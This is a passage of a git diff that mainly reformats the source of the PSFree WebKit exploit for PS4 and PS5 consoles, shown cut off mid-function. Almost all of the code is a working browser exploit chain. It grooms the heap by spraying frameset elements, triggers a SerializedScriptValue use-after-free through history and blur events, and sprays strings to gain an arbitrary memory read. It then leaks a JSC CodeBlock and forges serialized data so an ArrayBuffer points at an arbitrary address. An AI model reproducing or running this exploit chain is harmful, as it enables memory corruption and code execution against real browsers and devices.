{ - let res = this._addr_cache; - if (res !== undefined) { - return res; - } - res = mt.get_view_vector(this); - this._addr_cache = res; - return res; + get addr() { + let res = this._addr_cache; + if (res !== undefined) { + return res; } + res = mt.get_view_vector(this); + this._addr_cache = res; + return res; + } - get size() { - return this.byteLength; - } + get size() { + return this.byteLength; + } - addr_at(index) { - return this.addr.add(index); - } + addr_at(index) { + return this.addr.add(index); + } } // see from() and of() comment above if (0x600 <= config.target && config.target < 0x1000) { - Buffer.from = function from(...args) { - const base = this.__proto__; - return new this(base.from(...args).buffer); - }; - Buffer.of = function of(...args) { - const base = this.__proto__; - return new this(base.of(...args).buffer); - }; + Buffer.from = function from(...args) { + const base = this.__proto__; + return new this(base.from(...args).buffer); + }; + Buffer.of = function of(...args) { + const base = this.__proto__; + return new this(base.of(...args).buffer); + }; } -const VariableMixin = superclass => class extends superclass { - constructor(value=0) { - // unlike the View classes, we don't allow number coercion. we - // explicitly allow floats unlike Int - if (typeof value !== 'number') { - throw TypeError('value not a number'); - } - super([value]); +const VariableMixin = (superclass) => + class extends superclass { + constructor(value = 0) { + // unlike the View classes, we don't allow number coercion. we + // explicitly allow floats unlike Int + if (typeof value !== "number") { + throw TypeError("value not a number"); + } + super([value]); } addr_at(...args) { - throw TypeError('unimplemented method'); + throw TypeError("unimplemented method"); } [Symbol.toPrimitive](hint) { - return this[0]; + return this[0]; } toString(...args) { - return this[0].toString(...args); + return this[0].toString(...args); } -}; + }; export class Byte extends VariableMixin(View1) {} export class Short extends VariableMixin(View2) {} @@ -157,105 +158,103 @@ export class Short extends VariableMixin(View2) {} export class Word extends VariableMixin(View4) {} export class LongArray { - constructor(length) { - this.buffer = new DataView(new ArrayBuffer(length * 8)); - } + constructor(length) { + this.buffer = new DataView(new ArrayBuffer(length * 8)); + } - get addr() { - return mt.get_view_vector(this.buffer); - } + get addr() { + return mt.get_view_vector(this.buffer); + } - addr_at(index) { - return this.addr.add(index * 8); - } + addr_at(index) { + return this.addr.add(index * 8); + } - get length() { - return this.buffer.length / 8; - } + get length() { + return this.buffer.length / 8; + } - get size() { - return this.buffer.byteLength; - } + get size() { + return this.buffer.byteLength; + } - get byteLength() { - return this.size; - } + get byteLength() { + return this.size; + } - get(index) { - const buffer = this.buffer; - const base = index * 8; - return new Int( - buffer.getUint32(base, true), - buffer.getUint32(base + 4, true), - ); - } + get(index) { + const buffer = this.buffer; + const base = index * 8; + return new Int(buffer.getUint32(base, true), buffer.getUint32(base + 4, true)); + } - set(index, value) { - const buffer = this.buffer; - const base = index * 8; - const values = lohi_from_one(value); + set(index, value) { + const buffer = this.buffer; + const base = index * 8; + const values = lohi_from_one(value); - buffer.setUint32(base, values[0], true); - buffer.setUint32(base + 4, values[1], true); - } + buffer.setUint32(base, values[0], true); + buffer.setUint32(base + 4, values[1], true); + } } // mutable Int (we are explicitly using Int's private fields) -const Word64Mixin = superclass => class extends superclass { +const Word64Mixin = (superclass) => + class extends superclass { constructor(...args) { - if (!args.length) { - return super(0); - } - super(...args); + if (!args.length) { + return super(0); + } + super(...args); } get addr() { - // assume this is safe to cache - return mt.get_view_vector(this._u32); + // assume this is safe to cache + return mt.get_view_vector(this._u32); } get length() { - return 1; + return 1; } get size() { - return 8; + return 8; } get byteLength() { - return 8; + return 8; } // no setters for top and bot since low/high can accept negative integers get lo() { - return super.lo; + return super.lo; } set lo(value) { - this._u32[0] = value; + this._u32[0] = value; } get hi() { - return super.hi; + return super.hi; } set hi(value) { - this._u32[1] = value; + this._u32[1] = value; } set(value) { - const buffer = this._u32; - const values = lohi_from_one(value); + const buffer = this._u32; + const values = lohi_from_one(value); - buffer[0] = values[0]; - buffer[1] = values[1]; + buffer[0] = values[0]; + buffer[1] = values[1]; } -}; + }; export class Long extends Word64Mixin(Int) { - as_addr() { - return new Addr(this); - } + as_addr() { + return new Addr(this); + } } export class Pointer extends Word64Mixin(Addr) {} diff --git a/src/psfree.mjs b/src/psfree.mjs index d9de195..84be2a1 100644 --- a/src/psfree.mjs +++ b/src/psfree.mjs @@ -33,61 +33,53 @@ along with this program. If not, see . */ // * Helped in figuring out the size of JSC::ArrayBufferContents and its // needed offsets on different firmwares (PS5). -import { Int } from './module/int64.mjs'; -import { Memory } from './module/mem.mjs'; -import { KB, MB } from './module/offset.mjs'; -import { BufferView } from './module/rw.mjs'; +import { Int } from "./module/int64.mjs"; +import { Memory } from "./module/mem.mjs"; +import { KB, MB } from "./module/offset.mjs"; +import { BufferView } from "./module/rw.mjs"; -import { - die, - DieError, - log, - clear_log, - sleep, - hex, - align, -} from './module/utils.mjs'; +import { die, DieError, log, clear_log, sleep, hex, align } from "./module/utils.mjs"; -import * as config from './config.mjs'; -import * as off from './module/offset.mjs'; +import * as config from "./config.mjs"; +import * as off from "./module/offset.mjs"; // check if we are running on a supported firmware version const [is_ps4, version] = (() => { - const value = config.target; - const is_ps4 = (value & 0x10000) === 0; - const version = value & 0xffff; - const [lower, upper] = (() => { - if (is_ps4) { - return [0x600, 0x1000]; - } else { - return [0x100, 0x600]; - } - })(); - - if (!(lower <= version && version < upper)) { - throw RangeError(`invalid config.target: ${hex(value)}`); + const value = config.target; + const is_ps4 = (value & 0x10000) === 0; + const version = value & 0xffff; + const [lower, upper] = (() => { + if (is_ps4) { + return [0x600, 0x1000]; + } else { + return [0x100, 0x600]; } + })(); - return [is_ps4, version]; + if (!(lower <= version && version < upper)) { + throw RangeError(`invalid config.target: ${hex(value)}`); + } + + return [is_ps4, version]; })(); const ssv_len = (() => { - // All supported PS5 versions - if (!is_ps4) { - return 0x50; - } + // All supported PS5 versions + if (!is_ps4) { + return 0x50; + } - // PS4 - if (0x600 <= version && version < 0x650) { - return 0x58; - } - if (0x650 <= version && version < 0x900) { - return 0x48; - } - if (0x900 <= version) { - return 0x50; - } - throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`); + // PS4 + if (0x600 <= version && version < 0x650) { + return 0x58; + } + if (0x650 <= version && version < 0x900) { + return 0x48; + } + if (0x900 <= version) { + return 0x50; + } + throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? "4" : "5"}, version: ${hex(version)}`); })(); // these constants are expected to be divisible by 2 @@ -129,66 +121,56 @@ const num_leaks = 0x100; // // const num_repeats = ssv_len / 8 - 2; // const rows = ','.repeat(num_repeats); -const rows = ','.repeat(ssv_len / 8 - 2); +const rows = ",".repeat(ssv_len / 8 - 2); const original_strlen = ssv_len - off.size_strimpl; const original_loc = location.pathname; function gc() { - new Uint8Array(4 * MB); + new Uint8Array(4 * MB); } function sread64(str, offset) { - const low = ( - str.charCodeAt(offset) - | str.charCodeAt(offset + 1) << 8 - | str.charCodeAt(offset + 2) << 16 - | str.charCodeAt(offset + 3) << 24 - ); - const high = ( - str.charCodeAt(offset + 4) - | str.charCodeAt(offset + 5) << 8 - | str.charCodeAt(offset + 6) << 16 - | str.charCodeAt(offset + 7) << 24 - ); - return new Int(low, high); + const low = str.charCodeAt(offset) | (str.charCodeAt(offset + 1) << 8) | (str.charCodeAt(offset + 2) << 16) | (str.charCodeAt(offset + 3) << 24); + const high = str.charCodeAt(offset + 4) | (str.charCodeAt(offset + 5) << 8) | (str.charCodeAt(offset + 6) << 16) | (str.charCodeAt(offset + 7) << 24); + return new Int(low, high); } function prepare_uaf() { - const fsets = []; - const indices = []; + const fsets = []; + const indices = []; - function alloc_fs(fsets, size) { - for (let i = 0; i < size / 2; i++) { - const fset = document.createElement('frameset'); - fset.rows = rows; - fset.cols = rows; - fsets.push(fset); - } + function alloc_fs(fsets, size) { + for (let i = 0; i < size / 2; i++) { + const fset = document.createElement("frameset"); + fset.rows = rows; + fset.cols = rows; + fsets.push(fset); } + } - // the first call to either replaceState/pushState is likely to allocate a - // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents - // the SmallLine where the SSV resides from being freed. so we do a dummy - // call first - history.replaceState('state0', ''); + // the first call to either replaceState/pushState is likely to allocate a + // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents + // the SmallLine where the SSV resides from being freed. so we do a dummy + // call first + history.replaceState("state0", ""); - alloc_fs(fsets, num_fsets); + alloc_fs(fsets, num_fsets); - // the "state1" SSVs is what we will UAF + // the "state1" SSVs is what we will UAF - history.pushState('state1', '', original_loc + '#bar'); - indices.push(fsets.length); + history.pushState("state1", "", `${original_loc}#bar`); + indices.push(fsets.length); - alloc_fs(fsets, num_spaces); + alloc_fs(fsets, num_spaces); - history.pushState('state1', '', original_loc + '#foo'); - indices.push(fsets.length); + history.pushState("state1", "", `${original_loc}#foo`); + indices.push(fsets.length); - alloc_fs(fsets, num_spaces); + alloc_fs(fsets, num_spaces); - history.pushState('state2', ''); - return [fsets, indices]; + history.pushState("state2", ""); + return [fsets, indices]; } // WebCore::SerializedScriptValue use-after-free @@ -197,414 +179,406 @@ function prepare_uaf() { // called. History will cache the SSV at its m_lastStateObjectRequested if you // do. that field is a RefPtr, thus preventing a UAF if we cache "state1" async function uaf_ssv(fsets, index, index2) { - const views = []; - const input = document.createElement('input'); - input.id = 'input'; - const foo = document.createElement('input'); - foo.id = 'foo'; - const bar = document.createElement('a'); - bar.id = 'bar'; + const views = []; + const input = document.createElement("input"); + input.id = "input"; + const foo = document.createElement("input"); + foo.id = "foo"; + const bar = document.createElement("a"); + bar.id = "bar"; - log(`ssv_len: ${hex(ssv_len)}`); + log(`ssv_len: ${hex(ssv_len)}`); - let pop = null; - let pop2 = null; - let pop_promise2 = null; - let blurs = [0, 0]; - let resolves = []; + let pop = null; + let pop2 = null; + let pop_promise2 = null; + let blurs = [0, 0]; + let resolves = []; - function onpopstate(event) { - const no_pop = pop === null; - const idx = no_pop ? 0 : 1; + function onpopstate(event) { + const no_pop = pop === null; + const idx = no_pop ? 0 : 1; - log(`pop ${idx} came`); - if (blurs[idx] === 0) { - const r = resolves[idx][1]; - r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`)); - } - - if (no_pop) { - pop_promise2 = new Promise((resolve, reject) => { - resolves.push([resolve, reject]); - addEventListener('popstate', onpopstate, {once: true}); - history.back(); - }); - } - - if (no_pop) { - pop = event; - } else { - pop2 = event; - } - resolves[idx][0](); + log(`pop ${idx} came`); + if (blurs[idx] === 0) { + const r = resolves[idx][1]; + r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`)); } - const pop_promise = new Promise((resolve, reject) => { + if (no_pop) { + pop_promise2 = new Promise((resolve, reject) => { resolves.push([resolve, reject]); - addEventListener('popstate', onpopstate, {once: true}); + addEventListener("popstate", onpopstate, { once: true }); + history.back(); + }); + } + + if (no_pop) { + pop = event; + } else { + pop2 = event; + } + resolves[idx][0](); + } + + const pop_promise = new Promise((resolve, reject) => { + resolves.push([resolve, reject]); + addEventListener("popstate", onpopstate, { once: true }); + }); + + function onblur(event) { + const target = event.target; + const is_input = target === input; + const idx = is_input ? 0 : 1; + log(`${target.id} blur came`); + + if (blurs[idx] > 0) { + die(`${name}: multiple blurs. blurs: ${blurs[idx]}`); + } + + // we replace the URL with the original so the user can rerun the + // exploit via a reload. If we don't, the exploit will append another + // "#foo" to the URL and the input element will not be blurred because + // the foo element won't be scrolled to during history.back() + history.replaceState("state3", "", original_loc); + + // free the SerializedScriptValue's neighbors and thus free the + // SmallLine where it resides + const fset_idx = is_input ? index : index2; + for (let i = fset_idx - num_adjs / 2; i < fset_idx + num_adjs / 2; i++) { + fsets[i].rows = ""; + fsets[i].cols = ""; + } + + for (let i = 0; i < num_reuses; i++) { + const view = new Uint8Array(new ArrayBuffer(ssv_len)); + view[0] = 0x41; + views.push(view); + } + + blurs[idx]++; + } + + input.addEventListener("blur", onblur); + foo.addEventListener("blur", onblur); + + document.body.append(input); + document.body.append(foo); + document.body.append(bar); + + // FrameLoader::loadInSameDocument() calls Document::statePopped(). + // statePopped() will defer firing of popstate until we're in the complete + // state + // + // this means that onblur() will run with "state2" as the current history + // item if we call loadInSameDocument too early + log(`readyState now: ${document.readyState}`); + + if (document.readyState !== "complete") { + await new Promise((resolve) => { + document.addEventListener("readystatechange", function foo() { + if (document.readyState === "complete") { + document.removeEventListener("readystatechange", foo); + resolve(); + } + }); }); + } - function onblur(event) { - const target = event.target; - const is_input = target === input; - const idx = is_input ? 0 : 1; - log(`${target.id} blur came`); + log(`readyState now: ${document.readyState}`); - if (blurs[idx] > 0) { - die(`${name}: multiple blurs. blurs: ${blurs[idx]}`); - } + await new Promise((resolve) => { + input.addEventListener("focus", resolve, { once: true }); + input.focus(); + }); - // we replace the URL with the original so the user can rerun the - // exploit via a reload. If we don't, the exploit will append another - // "#foo" to the URL and the input element will not be blurred because - // the foo element won't be scrolled to during history.back() - history.replaceState('state3', '', original_loc); + history.back(); + await pop_promise; + await pop_promise2; - // free the SerializedScriptValue's neighbors and thus free the - // SmallLine where it resides - const fset_idx = is_input ? index : index2; - for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) { - fsets[i].rows = ''; - fsets[i].cols = ''; - } + log("done await popstate"); - for (let i = 0; i < num_reuses; i++) { - const view = new Uint8Array(new ArrayBuffer(ssv_len)); - view[0] = 0x41; - views.push(view); - } + input.remove(); + foo.remove(); + bar.remove(); - blurs[idx]++; + const res = []; + for (let i = 0; i < views.length; i++) { + const view = views[i]; + if (view[0] !== 0x41) { + log(`view index: ${hex(i)}`); + log("found view:"); + log(view); + + // set SSV's refcount to 1, all other fields to 0/NULL + view[0] = 1; + view.fill(0, 1); + + if (res.length) { + res[1] = [new BufferView(view.buffer), pop2]; + break; + } + + // return without keeping any references to pop, making it GC-able. + // its WebCore::PopStateEvent will then be freed on its death + res[0] = new BufferView(view.buffer); + i = num_reuses - 1; } + } - input.addEventListener('blur', onblur); - foo.addEventListener('blur', onblur); - - document.body.append(input); - document.body.append(foo); - document.body.append(bar); - - // FrameLoader::loadInSameDocument() calls Document::statePopped(). - // statePopped() will defer firing of popstate until we're in the complete - // state - // - // this means that onblur() will run with "state2" as the current history - // item if we call loadInSameDocument too early - log(`readyState now: ${document.readyState}`); - - if (document.readyState !== 'complete') { - await new Promise(resolve => { - document.addEventListener('readystatechange', function foo() { - if (document.readyState === 'complete') { - document.removeEventListener('readystatechange', foo); - resolve(); - } - }); - }); - } - - log(`readyState now: ${document.readyState}`); - - await new Promise(resolve => { - input.addEventListener('focus', resolve, {once: true}); - input.focus(); - }); - - history.back(); - await pop_promise; - await pop_promise2; - - log('done await popstate'); - - input.remove(); - foo.remove(); - bar.remove(); - - const res = []; - for (let i = 0; i < views.length; i++) { - const view = views[i]; - if (view[0] !== 0x41) { - log(`view index: ${hex(i)}`); - log('found view:'); - log(view); - - // set SSV's refcount to 1, all other fields to 0/NULL - view[0] = 1; - view.fill(0, 1); - - if (res.length) { - res[1] = [new BufferView(view.buffer), pop2]; - break; - } - - // return without keeping any references to pop, making it GC-able. - // its WebCore::PopStateEvent will then be freed on its death - res[0] = new BufferView(view.buffer); - i = num_reuses - 1; - } - } - - if (res.length !== 2) { - die('failed SerializedScriptValue UAF'); - } - return res; + if (res.length !== 2) { + die("failed SerializedScriptValue UAF"); + } + return res; } class Reader { - constructor(rstr, rstr_view) { - this.rstr = rstr; - this.rstr_view = rstr_view; - this.m_data = rstr_view.read64(off.strimpl_m_data); - } + constructor(rstr, rstr_view) { + this.rstr = rstr; + this.rstr_view = rstr_view; + this.m_data = rstr_view.read64(off.strimpl_m_data); + } - read8_at(offset) { - return this.rstr.charCodeAt(offset); - } + read8_at(offset) { + return this.rstr.charCodeAt(offset); + } - read32_at(offset) { - const str = this.rstr; - return ( - str.charCodeAt(offset) - | str.charCodeAt(offset + 1) << 8 - | str.charCodeAt(offset + 2) << 16 - | str.charCodeAt(offset + 3) << 24 - ) >>> 0; - } + read32_at(offset) { + const str = this.rstr; + return (str.charCodeAt(offset) | (str.charCodeAt(offset + 1) << 8) | (str.charCodeAt(offset + 2) << 16) | (str.charCodeAt(offset + 3) << 24)) >>> 0; + } - read64_at(offset) { - return sread64(this.rstr, offset); - } + read64_at(offset) { + return sread64(this.rstr, offset); + } - read64(addr) { - this.rstr_view.write64(off.strimpl_m_data, addr); - return sread64(this.rstr, 0); - } + read64(addr) { + this.rstr_view.write64(off.strimpl_m_data, addr); + return sread64(this.rstr, 0); + } - set_addr(addr) { - this.rstr_view.write64(off.strimpl_m_data, addr); - } + set_addr(addr) { + this.rstr_view.write64(off.strimpl_m_data, addr); + } - // remember to use this to fix up the StringImpl before freeing it - restore() { - this.rstr_view.write64(off.strimpl_m_data, this.m_data); - this.rstr_view.write32(off.strimpl_strlen, original_strlen); - } + // remember to use this to fix up the StringImpl before freeing it + restore() { + this.rstr_view.write64(off.strimpl_m_data, this.m_data); + this.rstr_view.write32(off.strimpl_strlen, original_strlen); + } } // we now have a double free on the fastMalloc heap async function make_rdr(view) { - let str_wait = 0; - const strs = []; - const u32 = new Uint32Array(1); - const u8 = new Uint8Array(u32.buffer); - const marker_offset = original_strlen - 4; - const pad = 'B'.repeat(marker_offset); + let str_wait = 0; + const strs = []; + const u32 = new Uint32Array(1); + const u8 = new Uint8Array(u32.buffer); + const marker_offset = original_strlen - 4; + const pad = "B".repeat(marker_offset); - log('start string spray'); - while (true) { - for (let i = 0; i < num_strs; i++) { - u32[0] = i; - // on versions like 8.0x: - // * String.fromCharCode() won't create a 8-bit string. so we use - // fromCodePoint() instead - // * Array.prototype.join() won't try to convert 16-bit strings to - // 8-bit - // - // given the restrictions above, we will ensure "str" is always a - // 8-bit string. you can check a WebKit source code (e.g. on 8.0x) - // to see that String.prototype.repeat() will create a 8-bit string - // if the repeated string's length is 1 - // - // Array.prototype.join() calls JSC::JSStringJoiner::join(). it - // returns a plain JSString (not a JSRopeString). that means we - // have allocated a WTF::StringImpl with the proper size and whose - // string data is inlined - const str = [pad, String.fromCodePoint(...u8)].join(''); - strs.push(str); - } - - if (view.read32(off.strimpl_inline_str) === 0x42424242) { - view.write32(off.strimpl_strlen, 0xffffffff); - break; - } - - strs.length = 0; - gc(); - await sleep(); - str_wait++; + log("start string spray"); + while (true) { + for (let i = 0; i < num_strs; i++) { + u32[0] = i; + // on versions like 8.0x: + // * String.fromCharCode() won't create a 8-bit string. so we use + // fromCodePoint() instead + // * Array.prototype.join() won't try to convert 16-bit strings to + // 8-bit + // + // given the restrictions above, we will ensure "str" is always a + // 8-bit string. you can check a WebKit source code (e.g. on 8.0x) + // to see that String.prototype.repeat() will create a 8-bit string + // if the repeated string's length is 1 + // + // Array.prototype.join() calls JSC::JSStringJoiner::join(). it + // returns a plain JSString (not a JSRopeString). that means we + // have allocated a WTF::StringImpl with the proper size and whose + // string data is inlined + const str = [pad, String.fromCodePoint(...u8)].join(""); + strs.push(str); } - log(`JSString reused memory at loop: ${str_wait}`); - const idx = view.read32(off.strimpl_inline_str + marker_offset); - log(`str index: ${hex(idx)}`); - log('view:'); - log(view); - - // versions like 8.0x have a JSC::JSString that have their own m_length - // field. strings consult that field instead of the m_length of their - // StringImpl - // - // we work around this by passing the string to Error. - // ErrorInstance::create() will then create a new JSString initialized from - // the StringImpl of the message argument - const rstr = Error(strs[idx]).message; - log(`str len: ${hex(rstr.length)}`); - if (rstr.length === 0xffffffff) { - log('confirmed correct leaked'); - const addr = ( - view.read64(off.strimpl_m_data) - .sub(off.strimpl_inline_str) - ); - log(`view's buffer address: ${addr}`); - return new Reader(rstr, view); + if (view.read32(off.strimpl_inline_str) === 0x42424242) { + view.write32(off.strimpl_strlen, 0xffffffff); + break; } - die('JSString wasn\'t modified'); + + strs.length = 0; + gc(); + await sleep(); + str_wait++; + } + log(`JSString reused memory at loop: ${str_wait}`); + + const idx = view.read32(off.strimpl_inline_str + marker_offset); + log(`str index: ${hex(idx)}`); + log("view:"); + log(view); + + // versions like 8.0x have a JSC::JSString that have their own m_length + // field. strings consult that field instead of the m_length of their + // StringImpl + // + // we work around this by passing the string to Error. + // ErrorInstance::create() will then create a new JSString initialized from + // the StringImpl of the message argument + const rstr = Error(strs[idx]).message; + log(`str len: ${hex(rstr.length)}`); + if (rstr.length === 0xffffffff) { + log("confirmed correct leaked"); + const addr = view.read64(off.strimpl_m_data).sub(off.strimpl_inline_str); + log(`view's buffer address: ${addr}`); + return new Reader(rstr, view); + } + die("JSString wasn't modified"); } // we will create a JSC::CodeBlock whose m_constantRegisters is set to an array // of JSValues whose size is ssv_len. the undefined constant is automatically // added due to reasons such as "undefined is returned by default if the // function exits without returning anything" -const cons_len = ssv_len - 8*5; +const cons_len = ssv_len - 8 * 5; const bt_offset = 0; -const idx_offset = ssv_len - 8*3; -const strs_offset = ssv_len - 8*2; +const idx_offset = ssv_len - 8 * 3; +const strs_offset = ssv_len - 8 * 2; const src_part = (() => { - // we user var instead of let/const since such variables always get - // initialized to the NULL JSValue even if you immediately return. we will - // make functions that do as little as possible in order to speed up the - // exploit. m_constantRegisters will still contain the unused constants - // - // function foo() { - // return; - // let a = 1; - // } - // - // the resulting bytecode: - // bb#1 - // [ 0] enter - // [ 1] get_scope loc4 - // [ 3] mov loc5, loc4 - // [ 6] check_traps - // // this part still initializes a with the NULL JSValue - // [ 7] mov loc6, (const0) - // [ 10] ret Undefined(const1) - // Successors: [ ] - // - // bb#2 - // [ 12] mov loc6, Int32: 1(const2) - // [ 15] ret Undefined(const1) - // Successors: [ ] - // - // - // Constants: - // k0 = - // k1 = Undefined - // k2 = Int32: 1: in source as integer - let res = 'var f = 0x11223344;\n'; - // make unique constants that won't collide with the possible marker values - for (let i = 0; i < cons_len; i += 8) { - res += `var a${i} = ${num_leaks + i};\n`; - } - return res; + // we user var instead of let/const since such variables always get + // initialized to the NULL JSValue even if you immediately return. we will + // make functions that do as little as possible in order to speed up the + // exploit. m_constantRegisters will still contain the unused constants + // + // function foo() { + // return; + // let a = 1; + // } + // + // the resulting bytecode: + // bb#1 + // [ 0] enter + // [ 1] get_scope loc4 + // [ 3] mov loc5, loc4 + // [ 6] check_traps + // // this part still initializes a with the NULL JSValue + // [ 7] mov loc6, (const0) + // [ 10] ret Undefined(const1) + // Successors: [ ] + // + // bb#2 + // [ 12] mov loc6, Int32: 1(const2) + // [ 15] ret Undefined(const1) + // Successors: [ ] + // + // + // Constants: + // k0 = + // k1 = Undefined + // k2 = Int32: 1: in source as integer + let res = "var f = 0x11223344;\n"; + // make unique constants that won't collide with the possible marker values + for (let i = 0; i < cons_len; i += 8) { + res += `var a${i} = ${num_leaks + i};\n`; + } + return res; })(); async function leak_code_block(reader, bt_size) { - const rdr = reader; - const bt = []; - // take into account the cell and indexing header of the immutable - // butterfly - for (let i = 0; i < bt_size - 0x10; i += 8) { - bt.push(i); - } + const rdr = reader; + const bt = []; + // take into account the cell and indexing header of the immutable + // butterfly + for (let i = 0; i < bt_size - 0x10; i += 8) { + bt.push(i); + } - // cache the global variable resolution - const slen = ssv_len; + // cache the global variable resolution + const slen = ssv_len; - const bt_part = `var bt = [${bt}];\nreturn bt;\n`; - const part = bt_part + src_part; - const cache = []; + const bt_part = `var bt = [${bt}];\nreturn bt;\n`; + const part = bt_part + src_part; + const cache = []; + for (let i = 0; i < num_leaks; i++) { + cache.push(part + `var idx = ${i};\nidx\`foo\`;`); + } + + const chunkSize = is_ps4 && version < 0x900 ? 128 * KB : 1 * MB; + const smallPageSize = 4 * KB; + const search_addr = align(rdr.m_data, chunkSize); + log(`search addr: ${search_addr}`); + + log(`func_src:\n${cache[0]}\nfunc_src end`); + log("start find CodeBlock"); + let winning_off = null; + let winning_idx = null; + let winning_f = null; + let find_cb_loop = 0; + // false positives + let fp = 0; + rdr.set_addr(search_addr); + loop: while (true) { + const funcs = []; for (let i = 0; i < num_leaks; i++) { - cache.push(part + `var idx = ${i};\nidx\`foo\`;`); + const f = Function(cache[i]); + // the first call allocates the CodeBlock + f(); + funcs.push(f); } - const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB; - const smallPageSize = 4 * KB; - const search_addr = align(rdr.m_data, chunkSize); - log(`search addr: ${search_addr}`); - - log(`func_src:\n${cache[0]}\nfunc_src end`); - log('start find CodeBlock'); - let winning_off = null; - let winning_idx = null; - let winning_f = null; - let find_cb_loop = 0; - // false positives - let fp = 0; - rdr.set_addr(search_addr); - loop: while (true) { - const funcs = []; - for (let i = 0; i < num_leaks; i++) { - const f = Function(cache[i]); - // the first call allocates the CodeBlock - f(); - funcs.push(f); + for (let p = 0; p < chunkSize; p += smallPageSize) { + for (let i = p; i < p + smallPageSize; i += slen) { + if (rdr.read32_at(i + 8) !== 0x11223344) { + continue; } - for (let p = 0; p < chunkSize; p += smallPageSize) { - for (let i = p; i < p + smallPageSize; i += slen) { - if (rdr.read32_at(i + 8) !== 0x11223344) { - continue; - } - - rdr.set_addr(rdr.read64_at(i + strs_offset)); - const m_type = rdr.read8_at(5); - // make sure we're not reading the constant registers of an - // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors. - // CodeBlock converts those to JSArrays - if (m_type !== 0) { - rdr.set_addr(search_addr); - winning_off = i; - winning_idx = rdr.read32_at(i + idx_offset); - winning_f = funcs[winning_idx]; - break loop; - } - rdr.set_addr(search_addr); - fp++; - } + rdr.set_addr(rdr.read64_at(i + strs_offset)); + const m_type = rdr.read8_at(5); + // make sure we're not reading the constant registers of an + // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors. + // CodeBlock converts those to JSArrays + if (m_type !== 0) { + rdr.set_addr(search_addr); + winning_off = i; + winning_idx = rdr.read32_at(i + idx_offset); + winning_f = funcs[winning_idx]; + break loop; } - - find_cb_loop++; - gc(); - await sleep(); - } - log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`); - log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`); - - log('CodeBlock.m_constantRegisters.m_buffer:'); - rdr.set_addr(search_addr.add(winning_off)); - for (let i = 0; i < slen; i += 8) { - log(`${rdr.read64_at(i)} | ${hex(i)}`); + rdr.set_addr(search_addr); + fp++; + } } - const bt_addr = rdr.read64_at(bt_offset); - const strs_addr = rdr.read64_at(strs_offset); - log(`immutable butterfly addr: ${bt_addr}`); - log(`string array passed to tag addr: ${strs_addr}`); + find_cb_loop++; + gc(); + await sleep(); + } + log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`); + log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`); - log('JSImmutableButterfly:'); - rdr.set_addr(bt_addr); - for (let i = 0; i < bt_size; i += 8) { - log(`${rdr.read64_at(i)} | ${hex(i)}`); - } + log("CodeBlock.m_constantRegisters.m_buffer:"); + rdr.set_addr(search_addr.add(winning_off)); + for (let i = 0; i < slen; i += 8) { + log(`${rdr.read64_at(i)} | ${hex(i)}`); + } - log('string array:'); - rdr.set_addr(strs_addr); - for (let i = 0; i < off.size_jsobj; i += 8) { - log(`${rdr.read64_at(i)} | ${hex(i)}`); - } + const bt_addr = rdr.read64_at(bt_offset); + const strs_addr = rdr.read64_at(strs_offset); + log(`immutable butterfly addr: ${bt_addr}`); + log(`string array passed to tag addr: ${strs_addr}`); - return [winning_f, bt_addr, strs_addr]; + log("JSImmutableButterfly:"); + rdr.set_addr(bt_addr); + for (let i = 0; i < bt_size; i += 8) { + log(`${rdr.read64_at(i)} | ${hex(i)}`); + } + + log("string array:"); + rdr.set_addr(strs_addr); + for (let i = 0; i < off.size_jsobj; i += 8) { + log(`${rdr.read64_at(i)} | ${hex(i)}`); + } + + return [winning_f, bt_addr, strs_addr]; } // data to write to the SerializedScriptValue @@ -612,254 +586,250 @@ async function leak_code_block(reader, bt_size) { // setup to make deserialization create an ArrayBuffer with an arbitrary buffer // address function make_ssv_data(ssv_buf, view, view_p, addr, size) { - // sizeof JSC::ArrayBufferContents - const size_abc = (() => { - if (is_ps4) { - return version >= 0x900 ? 0x18 : 0x20; - } else { - return version >= 0x300 ? 0x18 : 0x20; - } - })(); - - const data_len = 9; - // sizeof WTF::Vector - const size_vector = 0x10; - - // SSV offsets - const off_m_data = 8; - const off_m_abc = 0x18; - // view offsets - const voff_vec_abc = 0; // Vector - const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents - const voff_data = voff_abc + size_abc; - - // WTF::Vector - // write m_data - // m_buffer - ssv_buf.write64(off_m_data, view_p.add(voff_data)); - // m_capacity - ssv_buf.write32(off_m_data + 8, data_len); - // m_size - ssv_buf.write64(off_m_data + 0xc, data_len); - - // 6 is the serialization format version number for ps4 6.00. The format - // is backwards compatible and using a value less than the current version - // number used by a specific WebKit version is considered valid. - // - // See CloneDeserializer::isValid() from - // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x. - const CurrentVersion = 6; - const ArrayBufferTransferTag = 23; - view.write32(voff_data, CurrentVersion); - view[voff_data + 4] = ArrayBufferTransferTag; - view.write32(voff_data + 5, 0); - - // std::unique_ptr> - // write m_arrayBufferContentsArray - ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc)); - // write WTF::Vector - view.write64(voff_vec_abc, view_p.add(voff_abc)); - view.write32(voff_vec_abc + 8, 1); - view.write32(voff_vec_abc + 0xc, 1); - - if (size_abc === 0x20) { - // m_destructor, offset 0, leave as 0 - // m_shared, offset 8, leave as 0 - // m_data - view.write64(voff_abc + 0x10, addr); - // m_sizeInBytes - view.write32(voff_abc + 0x18, size); + // sizeof JSC::ArrayBufferContents + const size_abc = (() => { + if (is_ps4) { + return version >= 0x900 ? 0x18 : 0x20; } else { - // m_data - view.write64(voff_abc + 0, addr); - // m_destructor (48 bits), offset 8, leave as 0 - // m_shared (48 bits), offset 0xe, leave as 0 - // m_sizeInBytes - view.write32(voff_abc + 0x14, size); + return version >= 0x300 ? 0x18 : 0x20; } + })(); + + const data_len = 9; + // sizeof WTF::Vector + const size_vector = 